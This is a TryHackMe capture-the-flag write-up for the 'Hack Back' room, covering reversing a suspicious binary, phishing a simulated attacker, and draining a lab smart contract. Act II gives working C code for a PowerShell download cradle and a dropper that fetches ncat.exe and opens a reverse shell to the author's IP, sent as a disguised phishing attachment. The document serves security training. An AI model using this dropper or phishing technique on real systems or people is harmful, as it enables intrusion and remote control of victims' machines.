☕
Writeups
TryHackMeHackTheBoxReferralsDonateLinkedIn
  • Writeups
  • TryHackme
    • 2025
      • Hackfinity Battle Vault
      • Security Footage
      • Ledger
      • Moebius
      • Mayhem
      • Robots
      • Billing
      • Crypto Failures
      • Rabbit Store
      • Decryptify
      • You Got Mail
      • Smol
      • Light
      • Lo-Fi
      • Silver Platter
    • 2024
      • Advent of Cyber '24 Side Quest
        • T1: Operation Tiny Frostbite
        • T2: Yin and Yang
        • T3: Escaping the Blizzard
        • T4: Krampus Festival
        • T5: An Avalanche of Web Apps
      • The Sticker Shop
      • Lookup
      • Mouse Trap
      • Hack Back
      • SeeTwo
      • Whiterose
      • Rabbit Hole
      • Mountaineer
      • Extracted
      • Backtrack
      • Brains
      • Pyrat
      • K2
        • Base Camp
        • Middle Camp
        • The Summit
      • The London Bridge
      • Cheese CTF
      • Breakme
      • CERTain Doom
      • TryPwnMe One
      • Hammer
      • U.A. High School
      • IronShade
      • Block
      • Injectics
      • DX2: Hell's Kitchen
      • New York Flankees
      • NanoCherryCTF
      • Publisher
      • W1seGuy
      • mKingdom
      • Airplane
      • Include
      • CyberLens
      • Profiles
      • Whats Your Name?
      • Capture Returns
      • TryHack3M
        • TryHack3M: Burg3r Bytes
        • TryHack3M: Bricks Heist
        • TryHack3M: Sch3Ma D3Mon
        • TryHack3M: Subscribe
      • Creative
      • Bypass
      • Clocky
      • El Bandito
      • Hack Smarter Security
      • Summit
      • Chrome
      • Exfilibur
      • Breaking RSA
      • Kitty
      • Reset
      • Umbrella
      • WhyHackMe
      • Dodge
    • 2023
      • Advent of Cyber '23 Side Quest
        • The Return of the Yeti
        • Snowy ARMageddon
        • Frosteau Busy with Vim
        • The Bandit Surfer
      • Stealth
      • AVenger
      • Dreaming
      • DockMagic
      • Hijack
      • Bandit
      • Compiled
      • Super Secret TIp
      • Athena
      • Mother's Secret
      • Expose
      • Lesson learned?
      • Grep
      • Crylo
      • Forgotten Implant
      • Red
    • Obscure
    • Capture
    • Prioritise
    • Weasel
    • Valley
    • Race Conditions
    • Intranet
    • Flip
    • Cat Pictures 2
    • Red Team Capstone Challenge
      • OSINT
      • Perimeter Breach
      • Initial Compromise of Active Directory
      • Full Compromise of CORP Domain
      • Full Compromise of Parent Domain
      • Full Compromise of BANK Domain
      • Compromise of SWIFT and Payment Transfer
  • HackTheBox
    • 2025
      • Certified
    • 2024
      • BoardLight
      • Crafty
      • Devvortex
      • Surveillance
      • Codify
      • Manager
      • Drive
      • Zipping
    • 2023
      • Topology
Powered by GitBook
On this page
  • ACT I - Investigate
  • ACT II - Hack Back: Phishing
  • ACT III - Hack Back: Smart Contract
  • Foundry Attempt
  • Faulty? Initial Attempt (WEB3)

Was this helpful?

  1. TryHackme
  2. 2024

Hack Back

Can you get to the bottom of what's wrong with the machine? - by Maxablancas, h4sh3m8 & rePl4stic

PreviousMouse TrapNextSeeTwo

Last updated 6 months ago

Was this helpful?

The following post by 0xb0b is licensed under


Hack Back is another purple challenge from THM, divided into three acts. This time we first examine the victim machine to find a suspicious file in Act I. This file, if executed, is responsible for slowing down the machine. By decompiling and reverse engineering the binary, we will find some credentials. In Act II, we follow the theme of the room and hack back, trying to beat the attackers at their own game. With the credentials we found, we gained access to the email account of an attacker and used phishing to trick them into running a reverse shell to gain access to the attacker's machine. There we find a smart contract, which we use in Act III to get the money back.

ACT I - Investigate

At C:\ and C:\Users\Administrator we find simpleServer.exe, which looks very suspicious with its name and location.

Instead of using IDA on the machine, we use other tools, such as BinaryNinja. For this, we need to transfer the files to our machine. Using impacket-smbserver we are able to create an SMB server to share the files.

impacket-smbserver smbFolder $(pwd) -smb2support -username test -password test123

We add a network drive X: mapped to the shared folder \\10.14.90.235\smbFolder with the username test and password test123.

net use x: \\10.14.90.235\smbFolder /user:test test123

Next, we copy the simpleServer.exe to our target machine.

cp .\simpleSever.exe x:\

We open the file in BinaryNinja and select the Pseudo C representation.

When using strings, some suspicious character sequences appear, but none of them seems to be the password. We scroll through the functions and spot those strings again. They are passed to the sub_140001640 function. The last one is nod passed to sub_140001640.

This function, sub_140001640, takes a string (arg1) and applies an XOR operation with the integer 5 to each character, effectively decoding or encoding it. The result is stored in arg2 and is null-terminated. As mentioned above, the last character string is not passed to this function, but might be also an encrypted string.

Here's a Python script to decode the given strings. The sequences found are redacted and need to be replaced with the real ones.

pass.py
def decode_xor(input_string, xor_key=5):
    # Decode each character by XORing with the given key
    decoded_chars = [chr(ord(char) ^ xor_key) for char in input_string]
    # Join characters to form the decoded string
    decoded_string = ''.join(decoded_chars)
    return decoded_string

# Example usage with given strings
encoded_str1 = "REDACTED"
encoded_str2 = "REDACTED"
encoded_str3 = "REDACTED"

decoded_str1 = decode_xor(encoded_str1)
decoded_str2 = decode_xor(encoded_str2)
decoded_str3 = decode_xor(encoded_str3)

print("Decoded String 1:", decoded_str1)
print("Decoded String 2:", decoded_str2)
print("Decoded String 3:", decoded_str3)

After running the script we find a possible credential set which allows us to answer the first two questions and head to the next task.

ACT II - Hack Back: Phishing

We start with an nmap scan and find serveral ports related to a windows machine. Including a mail server (port 25, 110, 143) and a web server (port 80).

From the decrypted strings of the binary we find not only some login credentials but also the possible host berrybears.ioc. We add this in the /etc/hosts file. When we visit the site, we are greeted with a ransom.

Next, we try to find some directories and pages with a recursive scan using Feroxbuster.

Of interest are /mail and /rc. Furthermore, /mail/doc was also promising at the beginning, as this probably revealed the mail server used, that was vulnerable to an rce. However, it turned out not to be exploitable.

At /mail we are greeted with a login form. We use the credentials from Act I.

We can log in and see a mail from the boss of the threat actor in the inbox. The boss needs the key to get rid of the transactions that continue to pile up. Otherwise it becomes too risky. Unfortunately, we cannot find any answers to the question in the sent folder.

Ok, let's move on to /rc for now. And this time we have RoundCube in front of us. We reuse the credentials.

Here we find more this time. Amongst other things, we find the mail that may have been used to trick the target into opening a file to unintentionally execute it. A phishing mail.

We find the email from the boss again and a reply from our attacker. The key is not sent via mail, instead via the usual channels. The boss doesn't seem to operate as securely as his employees.

If we try to send a mail without an attachment to the boss, addressing the key, we get an answer. In this case he cannot find the key. So the boss is eager to open the file we send.

Next, we try to disguise a reverse shell as a key and send it to the boss.

An attempt was made to convert a reverse shell created with powercat into an executable using https://ps2exe.azurewebsites.net/, but unfortunately without success. Also, .bat files or .ps1 files were not executed. (tested with a request to a hosted web server)

But there is an easier way. Via an executable that runs Powershell commands itself and uses ncat.exe. In the first attempts it was a powercat script but that might have got deteced, since only the download from the web server could be observed.

One of many first attempts:

key.c
#include <stdio.h>
#include <stdlib.h>

int main() {
    // PowerShell download cradle
    char *command = "powershell -Command \"Invoke-WebRequest -Uri 'http://10.14.90.235/script.ps1' -OutFile 'C:\\Windows\\Temp\\script.ps1'; Start-Process 'powershell' -ArgumentList '-ExecutionPolicy Bypass -File C:\\Windows\\Temp\\script.ps1'\"";

    // Execute the command
    int result = system(command);
    return 0;
}

Compile the code:

x86_64-w64-mingw32-gcc key.c -o key.exe

Send To Boss:

The script gets downloaded but not executed since there is not connection back to the listener.

In this workaround, the ncat.exe file is downloaded and saved to C:\Windows\Temp\ncat.exe. The program then runs another command that uses ncat.exe to connect back to the our machine, creating a reverse shell.

key.c
#include <stdio.h>
#include <stdlib.h>

int main() {
    // PowerShell download cradle to download ncat.exe
    char *command1 = "powershell -Command \"Invoke-WebRequest -Uri 'http://10.14.90.235/ncat.exe' -OutFile 'C:\\Windows\\Temp\\ncat.exe'\"";

    // Execute the download command
    int result1 = system(command1);
    // Command to execute ncat.exe with cmd.exe on the specified IP and port
    char *command2 = "powershell -Command \"Start-Process 'C:\\Windows\\Temp\\ncat.exe' -ArgumentList '-e cmd.exe 10.14.90.235 4445'\"";

    // Execute the ncat command
    int result2 = system(command2);

    return 0;
}

Compile the code:

x86_64-w64-mingw32-gcc key.c -o key.exe

Send To Boss:

The ncat.exe gets downloaded...

... and executed. We receive a reverse shell on our listener. We are fisher\administrator.

On the user's desktop we find the flag for Act II.

We also find a smart contract. This smart contract suggests that we can solve the challenge by simply providing the cleartext authentication string. This is simply XORed with 44 and compared to the stored string. So if we XOR the stored string with 44, we'll get the correct plaintext string.

The following python script was used to decode the stored string.

def reverse_xor(encoded, key):
    return ''.join(chr(ord(c) ^ key) for c in encoded)

encoded = "REDACTED"
key = 44
decoded = reverse_xor(encoded, key)
print("Decoded input to solve:", decoded)

ACT III - Hack Back: Smart Contract

We start the final machine and run a Nmap scan. We have three open ports 22 SSH, 80 a web server and port 8545 related to the smart contract challenge.

If we visit the index page of the web server, we find a smart contract challenge. Slightly modified from the challenge we found in Act II. In addition to the authentication string, we now also have to set the balance of the contract address down to 0. We can achieve that by calling the transfer function on the contract providing the deciphered data and the correct amount.

http://10.10.1.229/

Foundry Attempt

This type of challenge is very familiar and has already been used in TriCipher Summit. We can find a solution using Foundry to this at Jaxafeds writeups. Here we can see how to call the functions.

To install Foundry follow the instructions linked below:

In this case we need to call the transfer function, pass a string and the amount.

cast send --legacy --rpc-url http://geth:8545 --private-key <PRIVATE KEY> --chain-id 31337 <CONTRACT ADDRESS> "transfer(string,uint256)" "REDACTED" 1000

The --legacy flag is essential in this scenario because it specifies that the transaction should follow the legacy transaction format (pre-EIP-1559). EIP-1559 introduced a new transaction format with separate maxFeePerGas and maxPriorityFeePerGas fields, which are not supported by nodes or configurations set up for legacy transactions, like the one you're interacting with on chain ID 31337. Without --legacy, the default behavior attempt an EIP-1559 transaction, causing the "unsupported feature: eip1559" error.

To decipher the key we just need to XOR the encrypted key with 44 found in the challenge.

decipher-sol-key.py
def reverse_xor(encoded, key):
    return ''.join(chr(ord(c) ^ key) for c in encoded)

encoded = "REDACTED"
key = 44
decoded = reverse_xor(encoded, key)
print("Decoded input to solve:", decoded)

We gather the information needed to make all calls to the contract.

Private Key: 0x3a3267b8e226c4e665cb5bbe188d7fa972f3dd9e3f46caa986fd831c5390529c
Contract Address: 0x80A89a41DF07B3A65913D67407fB00281bda7Da0
Player Wallet Address: 0x61b782f0b0e094409dc2DaA8Fc5226223ad5b131

Next, we use Foundry to make a transaction.

The command sends a transaction on the Ethereum network, invoking the transfer function on the contract at address 0x80A89a41DF07B3A65913D67407fB00281bda7Da0 with parameters "REDACTED" and 1000 using the specified private key on a custom RPC URL and chain ID 31337.

cast send --legacy --rpc-url http://geth:8545 --private-key 0x3a3267b8e226c4e665cb5bbe188d7fa972f3dd9e3f46caa986fd831c5390529c  --chain-id 31337 0x80A89a41DF07B3A65913D67407fB00281bda7Da0 "transfer(string,uint256)" "REDACTED" 1000

After we have submitted the command we can retrieve the flag on the index page.

To verfiy that we have successfully transferred the money, we can call the getOwnerBalance() function to check the balance of the target, and the balanceOf() function to check the balance of the player's wallet. To do this we use the following calls:

With the following calls using Foundry we can call the functions to check the balances:

cast call --legacy <CONTRACT ADDRESS> 'getOwnerBalance()' --rpc-url http://geth:8545
cast call --legacy <CONTRACT ADDRESS> 'balanceOf(address)' <PLAYER WALLET> --rpc-url http://geth:8545

Before Transaction:

We check the balance before the transaction and see that the target has a balance of 0x3e8, which is 1000. The player's wallet is empty.

cast call --legacy 0x80A89a41DF07B3A65913D67407fB00281bda7Da0 'getOwnerBalance()' --rpc-url http://geth:8545
cast call --legacy 0x80A89a41DF07B3A65913D67407fB00281bda7Da0 'balanceOf(address)' 0x61b782f0b0e094409dc2DaA8Fc5226223ad5b131 --rpc-url http://geth:8545

Transaction

We make the transaction as described above.

cast send --legacy --rpc-url http://geth:8545 --private-key 0x3a3267b8e226c4e665cb5bbe188d7fa972f3dd9e3f46caa986fd831c5390529c  --chain-id 31337 0x80A89a41DF07B3A65913D67407fB00281bda7Da0 "transfer(string,uint256)" "REDACTED" 1000

After Transaction:

After the transaction, we can confirm that it worked properly. The target's balance has dropped to 0 and the player's wallet now has a balance of 1000.

cast call --legacy 0x80A89a41DF07B3A65913D67407fB00281bda7Da0 'getOwnerBalance()' --rpc-url http://geth:8545
cast call --legacy 0x80A89a41DF07B3A65913D67407fB00281bda7Da0 'balanceOf(address)' 0x61b782f0b0e094409dc2DaA8Fc5226223ad5b131 --rpc-url http://geth:8545

Faulty? Initial Attempt (WEB3)

The following attempt is error prone, as it worked the first time, but when confirmed a second time for the writeup, it does not work properly. It does not fully transfer the 1 ETH to the player's address and only reduces the wallet amount of the target by the transaction costs. Setting the gas value to 2000000 in the script will solve the challenge.

After confirming it a third time, the script might have worked properly. For those interested, I have left this solution in the writeup.

Alternatively, the challenge can also be solved using web3 in python. All necessary information such as wallet address, private key, contract address, RPC URL, chain ID and block time can be found on the index page.

  • Wallet Address: A unique identifier for a digital wallet, used to send and receive cryptocurrency on the blockchain.

  • Private Key: A secret key allowing the wallet owner to authorize transactions and access funds; must be kept confidential to prevent unauthorized access.

  • Contract Address: The unique address assigned to a deployed smart contract on the blockchain, used for interacting with its functions.

  • RPC URL: A Remote Procedure Call (RPC) URL provides a connection endpoint to a blockchain node, allowing communication with the blockchain network.

  • Chain ID: A unique identifier for a specific blockchain network (e.g., Ethereum mainnet, testnet) to prevent transaction cross-chain issues.

  • Block: A data structure that stores a group of validated transactions on the blockchain, linked sequentially to form the blockchain ledger.

To solve the challenge GPT was used to create a script but failed initially with a wrong gas value. In a smart contract, gas is the unit of computational cost required to execute operations on the Ethereum blockchain, paid by users to incentivize network validators and to prevent misuse of resources.

It was to high, so the amount was not porperly withdrawn, after setting it to low the following error was thrown and gave the amount needed 21756 which was then used in the final script.

The target string is redacted and need to be replaced.

This code is designed to interact with a smart contract on an Ethereum-compatible blockchain using the Web3 library, aiming to complete a challenge by transferring tokens with specific encoded data. Here’s a step-by-step explanation:

  1. Setting up the Web3 Connection: The code connects to an Ethereum node at http://geth:8545 using the Web3 HTTP provider. It also defines both the smart contract address and the player's wallet address, alongside the player’s private key, which will be used to sign transactions.

  2. Defining the Contract: The contract ABI (Application Binary Interface) specifies the available functions in the contract:

    • decode: This function XOR-decodes a string using a specified key (although it is not directly used here).

    • transfer: This function allows transferring a token or value with specified data (the encoded message) and an amount.

    • isSolved: This function checks if the challenge has been successfully completed.

  3. Encoding Data with XOR: The xor_encode function takes the target string "REDACTED" and encodes it with an XOR key of 44. This encoded data will be passed as part of the transaction in the transfer function to meet the challenge requirements.

  4. Building the Transaction: To perform the transfer, the code calls the transfer function of the contract with the encoded data and sets the transfer_amount to 1000 tokens. It fetches a nonce (the transaction count for the player address) to ensure transaction uniqueness and builds the transaction with specific settings, including gas limits, chain ID (31337), and gas price. Setting the gas price to 21756 wont solve it, but setting it arround 2000000 will solve the challenge.

  5. Signing and Sending the Transaction: The code signs the transaction using the player's private key and then sends it to the blockchain. Afterward, it waits for the transaction to complete, retrieving a transaction receipt for verification.

  6. Checking if the Challenge is Solved: Finally, the code calls the isSolved function on the contract. If it returns True, it confirms that the challenge has been completed successfully.

In essence, this code attempts to solve a smart contract-based challenge by performing a transfer transaction with XOR-encoded data, then verifies if the solution was successful by checking the isSolved function on the contract. The transaction receipt provides details for tracking the transaction's success on the blockchain.

solve.py
from web3 import Web3
import codecs

# Set up Web3 connection
rpc_url = "http://geth:8545"
web3 = Web3(Web3.HTTPProvider(rpc_url))

# Contract and Player details
contract_address = Web3.to_checksum_address("0xc731Ce79Ee1ca7ab1D4084419000464301A4f8Be")
player_address = Web3.to_checksum_address("0x8f9aC6872B4e2663940EBbCd310458496ac45e06")

private_key = "0x7b005e85b4293a12d2e51d023e8b4341f5375a04572174423b7c67dc84e6a31a"

# Contract ABI
contract_abi = [
    {
        "inputs": [
            {"internalType": "bytes", "name": "data", "type": "bytes"},
            {"internalType": "uint8", "name": "key", "type": "uint8"},
        ],
        "name": "decode",
        "outputs": [{"internalType": "bytes", "name": "", "type": "bytes"}],
        "stateMutability": "pure",
        "type": "function",
    },
    {
        "inputs": [
            {"internalType": "string", "name": "data", "type": "string"},
            {"internalType": "uint256", "name": "amount", "type": "uint256"},
        ],
        "name": "transfer",
        "outputs": [{"internalType": "bool", "name": "out", "type": "bool"}],
        "stateMutability": "nonpayable",
        "type": "function",
    },
    {
        "inputs": [],
        "name": "isSolved",
        "outputs": [{"internalType": "bool", "name": "", "type": "bool"}],
        "stateMutability": "view",
        "type": "function",
    },
]

# Initialize contract instance
contract = web3.eth.contract(address=contract_address, abi=contract_abi)

# XOR Encoding function
def xor_encode(data, key):
    return bytes([b ^ key for b in data])

# Encoded data to pass the challenge
target_string = "REDACTED"
key = 44
encoded_data = xor_encode(target_string.encode(), key).decode('latin1')

# Set the transfer amount
transfer_amount = 1000

# Build the transaction
nonce = web3.eth.get_transaction_count(player_address)
tx = contract.functions.transfer(encoded_data, transfer_amount).build_transaction({
    'chainId': 31337,
    'gas': 21756,
    'gasPrice': web3.to_wei('20', 'gwei'),
    'nonce': nonce,
})

# Sign the transaction
signed_tx = web3.eth.account.sign_transaction(tx, private_key=private_key)

# Send the transaction
tx_hash = web3.eth.send_raw_transaction(signed_tx.rawTransaction)
tx_receipt = web3.eth.wait_for_transaction_receipt(tx_hash)
print("Transaction receipt:", tx_receipt)

# Verify if challenge is solved
is_solved = contract.functions.isSolved().call()
print("Challenge Solved:", is_solved)

Afer running the script we get the responsed Challenge Solved: True.

We can now click on Get Flag to receive the final flag.

CC BY 4.0
TryHackMe | Cyber Security TrainingTryHackMe
TryHackMe: TriCipher Summitjaxafed
Foundry Book
Logo
Logo
Logo